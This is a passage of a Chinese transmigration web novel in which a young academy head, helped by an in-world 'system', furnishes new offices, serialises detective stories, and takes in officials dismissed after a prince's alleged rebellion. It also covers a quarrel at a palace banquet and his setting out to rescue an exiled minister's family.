他十分疑惑,这账册送给他做什么? 难不成是哪家商铺送错了? 小厮茫然的摇摇头,道,“具体谁送的并不知晓,只知一打开门,便放在院门口,上面写着,赠与顾信之顾知府。” 如此点名道姓? 搞什么,神神秘秘的。 顾信之随手翻开,查阅了几页,这才发现这本账册竟是府城里永开赌坊的私册。 只是这进出的流水和用途,却有些奇怪…… 他从漫不经心到瞬间坐直身体,认真的向后寻找着,直到看见某个字样时,这才登时脸色大变,一下子合上了那本账册。 完了完了,这是碰上烫手山芋了啊! 丢也丢不得,拿也拿不了,若被人知晓,分明是要等死的节奏! 何人误我?竟下如此毒手? 顾信之悔之不迭,暗叹自己不该打开,可如今看都看了,再想送回也已经晚了,少不得将全家的脑袋都系在裤腰带上,思考着如何处理才好。 而此刻的永开赌坊内,几个人也正在商量这账册的事情。 丘二再三确认着,“那账本,真的是顾知府拿了?不是说在吴麻子那里嘛,怎么偏偏就落到顾知府手中了?” 若被童启拿了还好,尚有的商量。 可顾知府乃大皇子一党,若是知晓,又怎么可能放过他们? 赌坊管事长叹一口气,道,“确实是他,府衙那里新传过来的消息,那账本,的确在顾信之手中没错。童启那里我之前搜过,并没有,且昨日堂上审案时,对方也只顾着刘家灭门的事情,并没有询问账本有关的事,想来,应该是并不知晓。” “那丘师爷那里呢,怎么说?” “他已经被顾信之顶了罪,辞了事务,估摸着还要过两日,才能离开河南府,四皇子已经来了信,让他先回去复命。” “那咱们现在如何,要先下手为强吗?” 丘二偷偷将手横在脖颈前,做了个杀的动作,低声问道。 那管事摇了摇头。 “还是先等待四皇子那边的命令吧,看看胡丞相那边的态度如何,说不定,一切只是我们杞人忧天呢?或许对方并不会声张,又或许,根本看不出那账册里面的门道来,也未可知……” 但愿如此吧。 丘二不确定的想着,越发感觉这任务变得棘手了起来。 而府衙的牢狱内,不出两日,吴麻子和刘昌便得到了相继暴毙的消息。 吓得顾信之也顾不得其他了,连忙写了一封信,连带着账册,一并连夜送入了京城之中。 如此纷纷扰扰,暂且与童启等人再无关系。 回到伊川后,大家这才算彻底长松了一口气,有机会庆祝起这次的院试成绩来。 可如此大的风雨,就连华夏书院内也有所听闻,见到所有人皆敛声屏气,不敢声张,原本开心喜悦的学生及家长们,也不好表现太多,只得再次安静下来。 尤 其是这次考中的六个人,皆没什么激动之色,一回来,便一股脑投入到了明年乡试的复习之中,如同只是出了趟远门而已。 没有任何波动。 那努力劲头,甚至比刚入学时还要发奋图强,活像是拼命一般。 而吴韧更是在伤好之后,便立刻给自己安排上了体能课程。 每日跟着安保部门疯狂训练,就连藏书阁也成了每日必打卡的地方。整个一层的书籍,他几乎全部看了个遍,然后便紧接着翻阅起二楼的孤本来,如同海绵一般,源源不断吸收着所有知识。 童启深知学生们心底里的憋屈,急需发泄出来,因此也不阻止,只暗暗让学校食堂多加点餐,给学生们分配好体能营养,别有任何短缺,这才放下了心。 第65章 第65章推理小说 这一次的院试一行,波折不断,却也收获满满。 童启成功解锁了两个新建筑,一个是老师们的办公大楼,一个则是自己的校长独立办公室。 自开学以来,华夏书院的老师、先生们便一直长期借用在学生教室内办公。 在长达两年后,终于,开始有了自己的办公室!不用再搬来搬去了,简直可喜可贺! 甫一开出,整个书院的西部沿墙一侧,顿时被占据的满满当当。 新的办公大楼矗立在食堂之前,与教学楼相对而立,同样是三层,但却整体相对于狭窄一些,被单独的分成了一个个办公室,标注着不同的科室。 许是尊师重道的原因,这一次不必系统更换模板,初始装修便呈现的古朴典雅,廊檐高琢的模样,精致的木制角楼,伴随着镂空的扶手,再搭配上楼前古色古香的池塘,池内锦鲤漫游着,令人望之心醉。 粉墙黛瓦,与教学楼风格浑然一体,十分和谐。 童启率先进去看了一眼,其内同样通水通电,一层大概四个独立的屋子,每一间面积大概在80平左右,自带门窗,桌椅,剩下的,则需要自己单独填充。 如今书院内,教授科举班的老师拢共有四位。 医科单独一体,暂不算入,即便一人一间,也不过刚刚填满一层。 他索性大手一挥,让账房给每位先生都拨了银子,让他们按照自己喜欢的装修风格,去装潢设计。 毕竟以后要长期办公了,当然还是以各自的舒适为主。 果然,一提出,便得到了所有先生们的支持与喜欢! 每次修好都是统一的风格,大家虽也满意,可难免缺少点兴趣和归属感,如今让自由发挥,便瞬间爆发出空前的热情来,誓要独树一帜!凸显自己的品味来。 唯独温叶辞站在一旁,颇有些犹豫的样子。 “山长,我要不,就暂时不搬了?毕竟明年我还得参加乡试,若是考中的话……” 到时候必要离开,那这华夏书院的代课工作,肯定就做不了了。 童启这才方想起来除了学生们,温叶辞也还在科考队列里。 当初学校缺人,他不顾身份阶级,将对方硬拐过来当老师,两年下来,倒忘了对方还有离开的一日。 “那也无妨,明年是明年,你怎么也算是咱们书院的初创人员了,即便考出去,不也还是我们华夏书院的人吗?你放心,不论何时,我们书院永远都会为你留着一间办公室的,随时欢迎你回来!” 大不了等个三四十年,对方从朝廷里退了休,不照样还是可以回来当老师嘛? 什么学生、先生的,反正在童启看来,都是一家人。 似没有想到童启竟然会如此说,温叶辞颇有些意外。 如今的华夏书院蒸蒸日上,名声斐然,早已经不是当初那个缺老师,连秀才也不挑的时候了,若是童启真的想要人,随口喊一声,相信绝对会有不少人上门自荐的! 可偏偏,对方还是将他当作了书院里的一员。 就和每一个走出去的学生一样,不是普普通通的代课老师,而是如家人挚友一般的角色。 即便温叶辞一开始只是为了童启进入的这所书院,对其本身并无什么感情,可将近两年的时间,也足以让一个铁石心肠的人,被渐渐暖化,尤其他们还在一起经历了那么多的事情! 如今眼见着到了不得不分离的时候,他心中分外不舍与落寞。 差点脑子一热,便忍不住说出要永远留在书院里教书的话了。 可匡扶天下、救济百姓、弘扬门第的责任,死死束缚着他,令他只得沉默下来。 天下无不散之筵席。 童启安慰的拍了拍他的肩膀,道,“世界很大,不必自困。我们书院会永远为每一个走出去的人感到骄傲,你们明明可以选择安乐平和的度过一世,可却为了这片土地,及其上的百姓而走了最艰难的那条路,这是时代的幸运!更是天下百姓的幸运。即便进入朝堂、到了地方,有什么也可以跟我写信,我将会是你永远的支持者!华夏书院也会是你永远的休憩之所!” 一番话,说的温叶辞泪目不已。 也同样提醒了童启新的一年,要给对方少排点课程,充分腾出应对科举时间的事。 看来书院里还是要多招点先生来了,起码,也得先把两层办公室给填满了吧? 见着每一位先生选好自己的办公室后,入住进去,童启这才慢悠悠背着手,去查看自己的校长办公室来。 他的办公室,就坐落在书院入口处的大门旁边,乃是一个圆环形状的二层小楼。 白墙灰瓦,所有的屋顶呈斜坡状面向院内,猛地一看,倒是有点像是福建土楼的那种风格。 可一推开院门,他便立即被这种装潢外景给震撼到了。 只见四周屋檐高耸,层层叠叠,错落有致,将整个一二楼包围成一个开阔的天井,顺着阳光倾斜下来,中央庭院裸露于蓝天白云之下,积攒着薄薄一层水池,其上竹林松柏、假山,相随相依,四周回廊拢聚,悬挂着几盏古朴的灯。随着夜幕降临,灯光亮起,霎时间如同一副水墨画,倒印出四周装潢。 寂静空幽,四水归堂,非常漂亮。 尤其再配上那一二楼镂空的精致木门,一排排打开时,星光点点,简直令人惊艳! “统啊,你这是进修了什么设计师课程吗?怎么突然搞得这么高大上,我有点适应不了啊!” 活像是迈入了什么十大世界文化物质遗产中心般,童启兴奋的登上二楼,打开自己的办公室。 可与外面的辉煌灿烂相对应的,则是其内空荡荡的大白墙。 连办公桌都没有赠送。 童启:…… 他就知道! 所以,是外面硬装花的太多了,超预算了,所以里面干脆就不装了是吗? 等等……这3D立体图上一个个未解锁的标识,又是什么情况? 系统立即上线,热情洋溢道。 “一看不就知道了?本系统自带硬装,如需软装,需要付出一定的声望值或者银钱才行。” 这就像是现代某款著名游戏似的,想要沙发套装?声望值800;想要配套桌椅?声望值1000;想要大理石地面、名人字画?声望值2000! 你能给多少,便决定着我能给你搭成什么样。 童启:…… 你怎么不干脆去当商人系统,肯定比开书院要赚的多多了! 系统:“谢谢赞美,小本生意,谢绝还价,怎么样,亲,要来一套配套软装吗?只要5600两银子或者38000点的声望值,即可获得哦!” 它粘腻着嗓子,发嗲问道,明确性十足。 伸手要钱。 童启:“话说你是不是忘记了一件事。我现在就在古代,想要什么,直接去找人制作收集不就得了” 什么名人字画,直接古董摊上淘即可!一整套檀木做的桌椅,配上顶级工匠制作雕花,也不过才二三百两银子不到! 可比系统开出来的要便宜多了! 系统:…… 完了,它半点没有想到这一点。 来不及哀求,童启已经利落的将对话框点了叉,一连几个月都投入到了“淘宝”的快乐之中! 什么李白、杜甫……他都不挑的!什么檀木、黄花梨……他也不嫌弃! 放在现代,可能几万几百万都打不住的东西,到了这里,统统二百两,还能给你雕刻的极其复杂漂亮! 于是,不少木匠、商贩都发现,华夏书院里的人竟然开始买东西了! 要知道,他们书院一向是各种新鲜玩意儿层出不穷,卖的居多,稀罕的却少!这还是头一次见到向外采购的,一时间,整个伊川县的商人都变得多了起来! 无人能够抵挡装潢布置自己房间的乐趣! 从山长到先生,均一头扎入了软装的快乐之中,等他们被稍稍拉回点注意力的时候,时间已经快要到了年尾,一则轰动朝堂的消息,由上至下传到了河南府。 引起各方势力的震动。 四皇子疑似谋反,被监禁收押了! 告状的,则是大皇子一党! 圣上大怒之下,流放、抄家、处斩了不少的人,连带着核心圈子里的官员们都受到了波及。胡丞相一月三次被问责,其党羽也接连被罢黜、贬谪。 文坛动荡,权力更迭,令人惊心动魄! 河南府府衙内,顾信之更是每日过的颤颤巍巍,后悔不已,他将那账册递上去的时候,便知晓是个出力不讨好的活儿,没想到果然如此! 朝堂上的肃杀之气,牵连着所有官员忐忑不安,不敢言语。 也令顾信之担惊受怕,生怕哪日王学政和童启再提及起上次殴打秀才之事,引起了圣上的注意,因此断送了性命。于是讨好之下,暗地里给王家及华夏书院送了不少东西,只央求着他们暂时闭上嘴巴。 童启没有借这件事发挥的意思,实在是发挥也发挥不了多少。 他冷笑着令人收了下来,分给学生们用作补贴。 而自己,则开始正式在校刊上,连载起现代的推理小说来。什么《福尔摩斯探案集》,什么《名侦探柯南》,什么《包青天》……? 总之,他几乎把自己所有听过的现代推理案件故事,全部记录了下来,然后加以润色,本土改编后,刊登了出去。 力求手把手教会每一个学生基础的案件判断,与破案技巧! 学生们学没学会尚未知晓,反倒搞得整个校刊销售量暴涨! 原本只是个别书商会偶尔进货的东西,一时间,整个大奉朝几乎都在看,不少知名的书馆更是直接登门索要成品,价格与数量,皆开出了天际!此项目一跃成为华夏书院短期内最赚钱的活计,没有之一。 带着整个河南府的纸张都贵了起来。 即便墨竹、流苏两个人并毕昇连夜印刷,用着两台活字印刷机,也根本赶不赢! 童启索性搞了个限量,除了本书院的学生以外,每个月只向外倾售五千册,绝不复印!毕竟他们只是书院,又不是开店的!太多的话,也很容易暴露他们如今的印刷速度。 不少书店老板简直比童启还要惋惜,话里话外暗示着他们可以帮忙一起印,均遭到了拒绝。 文字这东西,最是敏感,万一出了什么差错,谁改个两句,误人子弟,到时候还不知要算到谁的头上呢? 反正只是校内刊物,也没必要搞出那么大的阵仗。 可即便如此态度,也无法阻止推理小说在整个大奉朝的盛行。 人人都有一颗八卦猎奇的心,尤其这题材罕见,大部分人一辈子也没经历过几次,更遑论听说!其内细致的讲述着案发现场,令人犹如亲临,既新鲜又有趣,再加上严谨的推理过程,血腥中带着一丝微妙的爽感,但凡看了个开头的,就没有不好奇结尾的! 别说是权贵们,就是京都里不少闺阁小姐,也颇为追捧,以每月能够抢到华夏书院的校刊为荣。 京都。赏秋宴上。 不少官员、外戚家的小姐们罕见的齐聚一堂,为了六皇子择亲的事情,踊跃的表现着。 四公主算是陪坐,此刻正百无聊赖倚在主位上,随手翻阅着本月的华夏书院校刊,寻找着自己想要见到的名字,当看到【王学昌】的字样后,顿时眼睛一亮。 其他人看这校刊多半都是为了那探案集,可她,却是为了上面的学生投稿。 因为每一期除了山长、先生们,一些优秀学生的作品也会被随机选择八篇刊登出来。 不少人注意到之后,便会经常研究有谁。 其中,以吴韧、汪启元、常仕进、王世昌、柳三变、郭胜开、莫小川等人最常被提及。 而王世昌和郭胜开,则最受女子们喜欢。 因两人皆是在那蹴鞠大赛上亮了相,出尽风头的小将,尤其是画本中那赛场上帅气的风姿,更是令无数闺阁小姐暗暗心动倾倒。 不少人有意讨好,揣度着四公主的神色,出声恭迎道。 “要我说,这童山长就应该多多刊登世昌公子的作品,那什么穷书生有什么可值得谈论的?也配得上和世昌公子同日而语?” “就是,世昌公子既有学识又有才华,明明是一年级第一,却总是被那个什么郭胜开强压风头,实在是可恶。” 四公主懒懒的抬起眼皮,望向这边。 一旁的胡薇微却忍不住扑哧一声笑了出来,回怼道。 “什么世昌公子?不过就是个祖父当过县丞的小乡绅罢了,华夏书院一向讲究公平,唯才是举,看的可不只是脸,还有才华!郭公子能够入选这么多篇文章,自然是有其道理的,你们连书都都不明白,能看懂什么啊?” “你!” 莫名被嘲讽了一圈,不少世家小姐皆气愤不已。 可胡薇微乃胡丞相之女,权势滔天,自然无人敢得罪,因此一时间,倒没人还嘴。 四公主一双冷目横了过去,不服道。 “我当是谁,如此猖狂,原来是丞相家的千金,你倒是伶牙俐齿,怎么,向着那种贱民,是思春恨嫁了吗?” “你胆敢无礼!”胡薇微气愤的一拍桌子站了起来。 四公主旁边的侍卫顿时拔刀相向,场面瞬间局促不已。 这四公主,乃是宫内最受宠的公主,没有之一,可胡薇微,也是胡丞相最心爱的女儿。 两方对上,为难的只会是在场的其他女子。 吏部侍郎之女冯楚陌忙上前劝道,“大家莫要动怒,我觉得胡小姐的话并非是那个意思,不过指的这华夏书院自己的校刊,我们无从评价罢了。” 毕竟人家书院里的事情,干她们这些人什么事? 以女子评价男子,本就是不合规训的,还挑三拣四,未免太无礼了一些。 可冯楚陌这话却并没有起到多少效果,反倒如催化剂般,彻底引爆了宴席上两波女子的争端。 一波属于是四公主党,最喜欢王世昌王公子,而另一波则站在胡薇微身后,力挺郭胜开郭公子。 “呵,王世昌算个什么,不过现在都只是白身一个罢了。而郭公子可是今年的整个河南府院试第四,他不过入学才一年,却已经能够赶上原本第一届的学生们了,怎么能不算有才呢?” “笑话,郭胜开几岁,世昌公子才几岁?且不提两个人相隔三岁的年纪,就说世昌公子入学时,便是同级类的第一名,便足见优秀。那郭胜开如今还得靠领着书院的救济金才能上学,怎么能比得上世昌公子?” “人穷志不穷,郭公子 凭本事上的学,和家境又有何干系?” “我们世昌公子只是不考,不然的话,铁定比吴韧的成绩还要好!” “笑死人了,也不怕风大闪了舌头,懂不懂前后辈,不过是个小白脸而已,还当起宝了?” “那你们那也只是个穷书生!有什么可张扬的?” 两边争辩着,活像是为了自家偶像撸起袖子打架的死忠粉,不知如何,便推推搡搡,打了起来。 四公主原本还不愿搭理,可在听到有人骂王世昌小白脸后,便瞬间勃然大怒起来,认为是侮辱了自己喜欢的人,一把拿起桌旁的鞭子便朝着那个方向狠狠抽了过去。 她一向骄横惯了,会忌惮胡丞相,却不会忌惮其他大臣。 那一鞭用尽了八九分的力道,若打在人脸上,不说皮开肉绽,也定会留下疤痕来。 破空的鞭声吓得人群中不少女子当即惊呼起来,死死闭上眼睛,不敢动弹,正当那鞭尾快甩到一女子脸上时,一只白皙的手横空穿出,一把抓住了那鞭尾,拦截下力道。 可掌心,却被狠狠抽了一鞭。 四公主冷眉一竖,警告道。 “你是谁,也敢拦我?” 身着桃色裙衫的女孩比胡薇微略高出半个头的样子,沉静的遮挡在人群前,逆着光,婉言劝道。 “四公主手下留情,大家不过宴席玩笑之语,并非侮辱之意,且此次宴席是受到皇妃邀请而来,若有人损伤,只怕圣上那里,不好交代。” “呵,是柏将军那边不好交代吧?” 席上有人认出那桃色裙衫女孩的身份,顿时不屑冷哼道。 谁不知道这场赏秋宴乃是由柏家军全权负责维护安全,若有人受伤,第一个被处罚的,定然就是那柏弓良。 柏将军? 四公主微眯着眼睛,打量着站出来的人物。 出来时,她母后曾特意叮嘱过,让她多多考察一下柏大将军的外甥女,说是六皇弟未来大婚之人,估摸着,便是这位了。 可今日一看么…… 呵,倒是个名不副实的。 “岳灼华是吧?传言中不是说你进退得宜,温良恭俭吗?怎么,你家里人便是教你这么跟我说话的?以下犯上,还敢拦我的鞭子,你胆子,倒是大的很嘛!” “不敢,”岳灼华恭顺的低下脑袋,“臣女愚昧无知,若有冒犯,还请恕无心之失。” 她放低了姿态,俯身行礼,并不想平添杂事。 事实上,若不是四公主下此狠手,直接便冲着其他人的脸去,她也不会妄加阻止。 如今局势紧张,四公主无所畏惧,可她们却不能,一旦这席上有女子脸上留了疤,别说舅舅,便是胡丞相和圣上那边,也无法交代。 与其眼睁睁看着事情到了极端的地步,无法收手,倒不如她暂且拦一拦,去做这个出头鸟。 见其俯身,四公主似乎被这态度取悦了几分,笑盈盈端起旁边的一杯酒,便整个直接倾倒在了岳灼华脑袋上。 “是吗?那可真是多亏你了。” 在场所有的女孩子瞬间倒抽一口凉气,瞪大了双眼,就连岳家的小丫鬟都满脸受辱,焦急的想要走上前,为自家小姐鸣不平,可却被岳灼华抬手挥退。 她冷静的抬眸注视着四公主,一双墨瞳宛如平静的湖面般,没有半点涟漪,柔声道。 “谢四公主赐教。” 四公主撒了气,这才冷哼一声,带着人转身离开。 所有人悄然松了一口气,宴席继续。 胡薇微犹豫的看着岳灼华衣衫上的酒水,欲言又止,想起自家爹爹所说的话,只得强撑着扭过头,不做理会。 倒是冯楚陌不忍心,掏出手帕,递了过去,可也不敢多待,只匆匆行了个礼,便离开了。 岳灼华独自坐在席间。 以她为中心,几乎形成了一个真空地带,无人肯接近。 武将之后,本身就自身难保,如今又得罪了四公主,简直不自量力。 所有人心中鄙夷,并不在意。 而华夏书院,此刻的童启也正忙着在招揽拾捡被罢官的大儒们,喜得不亦乐乎! 朝廷的罢官潮,他的人才数据库! 前国子监祭酒?写封信写封信,让他来我们华夏书院! 某某届的探花郎?快问问他有没有心情来教书 强行被退休的小将军?也发过去一张邀请函试试! 以往想都不敢想的出身,现在就像是白菜价一般,任由挑选,那边刚劝退,童启这边便直接把信发了出去。 半点都不带过渡的! 实际上,他这么殷勤也是发觉到了如今书院里尚欠缺的部分。 在院试结束后,回到书院,吴韧曾在私下里找过童启谈心,坦诚的说出了自己在牢狱里的迷茫。 可问题是,童启也没有当过官,怎么有经验告诉他当官要如何当呢? 他太清楚官场黑暗,不能过于直白单纯,否则进去就是个小白羊,等着被宰。 但具体恶要恶到何种程度,一些潜规则又是什么样子的,童启还真不太知晓。 既然无人可解答,那便只能,申请外援了。 童启头一波对准的便是这些当过半辈子官,深谙官场内各方势力分布格局的,甚至连柏老,他都亲自去拜访了一下,问其要不要来书院里教书。 若是愿意的话,他可以给出副校长的职位来! “副校长?是类似于书院监院之类的职位吗?哈哈哈为什么突然想起要请我?我都已经是半只脚即将踏进棺材里的人了,又能教出些什么呢?” 柏盛青捋着自己的胡须,笑盈盈问道,满脸皆是慈祥之色。 童启一听有谱,顿时撸起袖子认真劝说起来。 那能教的,可多了去了! 第66章 第66章外敌态度 实际上,华夏书院刚刚成立的时候,童启第一个想要聘任的先生,便是柏盛青柏老先生。 对方算是伊川县有名的大人物了,正儿八经进士出身,又在朝廷中央任职多年。 不论是学识亦或眼界、经验,都足以碾压整个河南府大部分的文人。 更重要的是,几次华夏书院遇危,对方都没有评判过童启任何年纪小不符合管理之类的,反而积极伸手援助,帮忙分担。 其子柏弓良柏将军,更是人品厚重,正直义气,足见其家教之严,风气之正! 而如今的华夏书院,学识方面暂时是不缺的,诗词韵律,也有着潘阆扛鼎,唯独缺少一个真正混过官府,资深了解其内黑暗,各种弯弯绕绕的人! 若能请到柏老帮助学生们“指导就业”,把握朝廷各党派势力分布,背景分析,那他们的书院,才是真正的上道了! 科举,考的可不仅仅只是学识。 更多的,还是在某些关键节点上,本能的利害选择。 童启以手撑着桌案,坦诚相待道。 “您是了解我的,我从不说大话,华夏书院能成立到今日,固然有着许多运气的成分,但更多的,我认为是靠着我们一开始就定下的教学方针,培养纯粹而不依靠任何势力背景,只为了天下黎民百姓福祉奋斗的读书人!” 柏盛青微抬了下眼眸,表示自己对话题的兴趣。 “这天下,从不缺聪明人,更不缺读书读的好的,可为什么名留青史的,唯独只有那几位呢?是因为那些人在关键时刻挺胸而出,竭尽全力,保住了炎黄子孙的根基。如今的大奉朝,风雨飘摇,各方势力动乱,相信您也能看得出来,可覆巢之下,安有完卵?始终龟缩于角落之中,便能保住清净吗?我一直觉得,最好的防守便是进攻,争夺话语权才是最重要的,倘若能培养出许多拥有共同三观志向,道路相同的群众们进入朝堂,那何愁我们实现不了心中的抱负呢?别看如今我只是六名学生,可三年后,我便 能有五十人,再三年后呢?哪怕他们各个能力低微,可只要能照亮方寸之地,上达九天,便有机会影响整个格局!加起来,带来的影响,不可估量。” 就像是原本大家默认书院不收寒门,必是贵族、门阀所开设;就像是社会公认女子不能出门做工,需三从四德,无知无求,到了时间点就嫁人;就像是所有人都告诉他,必须给书院找个后台背景,支持某皇子上位,才能保住这拥有的一切…… 当规矩被渐渐打破,思想被逐渐侵蚀,到最后,谁还会记得原本是什么呢? 这就像是愚公移山,一日不行那就两日,一个不行那就两个,迟早会将这千疮百孔的朝廷,慢慢改变为他想要的样子。 乍一听到童启的野心,柏盛青换了种目光,认真的打量起他来。 说实话,从初次遇到童启开始,他便不觉得对方像个“孩子”。 不论是行为举止,亦或者思维模式,童启都时常会让他感觉恍惚,就如同一个与他平起平坐的成年人套了个孩童的外壳一般,令人违和。 “你确定,你今年才十一岁?” 他终于忍不住问出了这个问题。 不是没见过天才,可哪个天才,如此年幼便能说出这样一番话语的? 确定不是什么老道修炼成精,故意下山伪装成小孩子骗人的吗? 童启内心被扎了一刀,强忍着尴尬回道,“如果您问的是生理年龄的话,那我今年,确实才十一岁。” 但若是问他心理年纪,抱歉,他已经是一个两世加起来快三十多岁的老叔叔了,实在是装不起来小孩子的模样! QAQ 柏盛青无奈的摇头笑了笑,也不在意,只问道,“说起来,听闻潘阆先生就任华夏书院的时候,曾问过你三个问题,后来才因此留了下来,那三个问题是什么,我能听一听吗?” 童启犹豫了一瞬,不知道该不该开口。 毕竟对待和系统一脉相承的“造反头子”潘阆,他的说辞是比较出格,且不怎么尊重朝堂的,自然符合对方的口味,可同样的回答,对于柏老这样为了朝廷付出一生的人,却势必听不惯。 见他为难,柏盛青也不再追问。 “罢了,若是不好说,那便算了,我能也问你一个问题吗?” 童启忙伸手请问。 “我知晓你们书院乃是以文著名,可见你始终不忘操练学生,让他们强身健体,且与我那不争气的儿子走的颇近,便知你并不讨厌武将之道。如今朝廷对于契丹及西夏态度暧昧,是和是打,始终争论不休,我很好奇,若是你,你会如何选择。” 来了来了,真正的历史题来了。 童启顿时精神一振,因着大奉朝代替的是原本历史上北宋的时间段,所以此时大部分的事件人物并没有可供参考的锚点,但这两年随着童启对周边国家的了解日益增多,他神奇的发现不少外部威胁势力逐渐崛起,竟和原本的历史轨迹逐渐驱合,甚至相同起来。 尤其是北部的契丹族与西边的西夏,狼子野心之明显,连不少朝中的官员都隐隐感觉到了不安。 可真正的历史结果呢? 但凡读过这段历史的都知晓,最后真正灭掉这个朝代,险些让宋朝不复存在的,其实还有另一个更大的危险来源——女真。 “女真族?”柏老皱紧眉头,似乎对这个势力感到稍许的陌生,更难以想象那点人物竟能比骁勇善战的契丹更加可怖。 “所以,你也是主和的一派?” 他好奇问道。 拉一个打一个,的确是目前主和一党的首要方针。 “别别别,我可不是那等保守之人,我向来是激进党的!” 激进到甚至暗暗发下心愿,若有机会,定要提前灭掉倭国和棒子国,一绝后患的那种! 童启连忙摆手割席,绝不认证自己和那群窝囊废有半点相似的可能。 “那……”柏老有些懵了。 童启站起身,颇有些怀念的说道。 “实际上,我曾听到过这样一句话,振聋发聩。今日愿分享给您,以示我对于这些外部国家的统一态度。” 哦? 柏盛青微微坐直了身体,前倾的看向对方,专注起所有精神。 “弱国无外交,国弱,则民辱。” 一句话,简简单单,却令对方瞬间缩紧了瞳孔。 而后紧跟的一句,更是令他直接站起,全身颤栗不止。 童启背着手站在窗前,斩钉截铁道,“尊严,只存在于剑锋之上,而真理,只在大炮射程之内。” “腾”的一声,巨大的椅子后撤摩擦出尖锐的声响。 柏盛青连倒地的椅子都难以管,一把上前,捏住了童启的手问道,“这话,你还跟谁说过?” “除了您,并无他人。” 童启认真的看向自己被握紧的双手,掩藏起所有的野心与戾气,乖巧说道。 “好好好,”柏盛青赞了三声,这才发觉自己过于激动了,清了清嗓子,转过身道,“好,我便答应你,任职华夏书院。但我有个请求,若你能做到,我不仅会如你所说担任书院的监院一职,还会保证你明年所有的学生们,皆能够进入朝堂为官。” “真的?要求是什么?” 童启瞬间眼睛一亮,忙追问道。 柏盛青拿起桌旁的一封信递给了他。 他一目十行快速看完,顿时陷入为难之中。 这是一封救助信,信上的人名为曹钟诚,乃柏盛青的世交挚友,原本在朝廷担任工部尚书一职,因受到四皇子牵连,如今被全家罢官流放,受困于环县之地,病的病死的死,已经连饭都快吃不上了,这才不得不托人求到了柏盛青这里,希望能够稍加施以援手,帮忙一二。 “我知这不好办,可……” “放心,不就是救个人嘛!只要把他及其家小全部救出来就行,是吧?交给我了!我这就带人前往环县!等我好消息!” 童启一拍胸脯,唯恐柏盛青后悔一般,拿着信,便扭头离开了,直接将其后半部分的话全给憋回了肚子里。 柏盛青:…… 实际上,他只是希望对方能够托人令其生活环境好一些,并无一定要救出来的意思。 毕竟那可是圣旨,不容更改! 可听听童启的口气,好家伙,还连带着将其家小一同救出。 疯了不成? 柏盛青缓过劲儿来,忙叫人去追童启,可小厮匆匆跑出去,却只得到一个已经乘车离开的回答。 只得暂时作罢。 京城里,岳家祠堂内。 岳灼华端正的跪坐在冰凉的地面上,数着佛豆,任由幽幽的燃香环绕在四周中,满心烦绪一点点安静下来。 还未数到一千颗,大门便被人“嘭”的一下一脚踢开,岳盛天气势汹汹走了进来。 “混账!谁准许你在宴席上跟四公主顶嘴的?她和胡家人吵架,关你什么事,也用得着你去出风头?” 天知道他在衙门里听说了这个消息后,有多么的胆战心惊! 那可是四公主啊! 若说皇子里面,三皇子最受宠,那公主里面,便是四公主为最盛!甚至因为对方是公主,不是皇子,争不了权,陛下对其,还要远比其他皇子更为纵容一些,这便是对方能够横行霸道,如此嚣张跋扈的原因! 她是吃了熊心豹子胆了不成?竟敢跟四公主起争执? 这也就是对方没追究,不然的话,砍了他也不够平息的! 岳灼华静静的垂眸数着手里的豆子,任由父亲发泄着怒火,没有任何辩驳,直到对方喊叫完,才习以为常的伸出手,令其抽打了十几下手板,方才罢休。 “你啊你,简直就是个来追债的!早知道,我就不该将你母亲娶进门,果然,武将之后,能有什么脑子?” 岳盛天恶狠狠将手中的木板仍在地上,见到岳灼华轻勾唇角,一副嘲讽的样子,不觉更加被刺痛了几分。 “你那是什么表情?不服气吗?怎么,我哪里说错了?人家那岳家都是给女婿提携撑腰,我呢?整日里给你们擦 屁股,收拾烂摊子不够!连前途都被你们扯得死死的。你知道我一个正二八百的探花郎,为什么这么多年都升不上去吗?不就是有个拖后腿的岳家吗?” “所以,您不是已经如愿娶了新夫人了吗?” 岳灼华出言反讥道。 想当年,她母亲刚过三年忌,父亲便迫不及待将新夫人给抬进了门,就像是急忙割席,划清界限一般。又是给钱又是给权的,唯恐其他人不知晓,可怎么也没有见到他升上去半分呢? 岳盛天闻言大怒,拿起木鞭便再次朝她身上打了过去,狠狠质问道。 “怎么,你对你的母亲有什么意见吗?可惜,人家名门望族,大家闺秀出身,必是不可能有任何错的,要错,也是我小时候对你管教太松,致使你成日舞刀弄枪,没有半点女孩子气的错!今日起,你便哪里都不准去了,给我老老实实禁闭,准备婚事!哪一日你嫁出去了,再哪一日教训老子不迟!” 岳灼华手下一滞,顿时神色一慌道,“你答应过我,只要我去参加赏秋宴,就允许我去送一送婉欣的!” “是,但那是你没有惹上四公主之前!” 想起什么,岳盛天满脸更加不屑了起来,“哼,枉我还觉得岳父一向聪慧,看看他交的这些人吧,都是什么路子?连四皇子谋反那样的大事也敢横插一脚,什么工部尚书,以后不过就是罪人一个了,还是少沾染的好。” 说罢,他转身离开,抬脚带起的尘土,就像是其背影一般,冷漠无情。 角落里藏了许久的小丫鬟见到老爷离开后,这才连忙带着伤药上前,流着泪为自己小姐包扎着。 “小姐,您就别跟老爷倔了,咱们自身难保,曹小姐那边,柏将军他们肯定会想办法照拂一二的。” 话是如此讲,可流放之路遥远,听闻那环县环境恶劣,干燥野蛮,婉欣一个闺阁女子,连门也没出过,怎么可能受得了? 想起往日的闺中情谊,岳灼华咬了咬唇,终究还是放心不下。 不行,她怎么也得去亲眼看一看,方能安心。 可怎么出去呢? 她心念一动,不由想起了一个好主意。 第67章 第67章前往环县 且说那童启为了说服柏老,决定前往环县,营救工部尚书曹家一系。 温叶辞和潘阆等人听完后都十分赞同,认为其义气可嘉,该当如此。 可系统,却持完全相反的意见。 “你不能去!那可是流放之地,说不得有什么危险呢!况且那什么曹钟诚,历史上根本就没有留下任何名讳,想来这便是他的命运!既然已经注定了的事,咱们又何必多插一脚?落不到什么实惠不说,性价比也不大。” “话不能这么说。咱们来大奉朝是为了什么,不就是为了改变历史吗?若真要认命,那还开什么书院,索性躺平,等蛮夷外军攻进来得了!况且咱们是为了柏老,买一送一,还附带着能拐个前工部尚书回来,哪里还有如此划算的买卖呢?” 系统一时语滞。 “可这不在主任务清单里啊!不仅没奖励,而且还耽误你培养学生的时间,再说,明年二年级不就要参加乡试了吗,你不抓紧培训,万一有人落榜怎么办?” 这一次杨舟万可是倒数第一,下一次,还能考上吗? 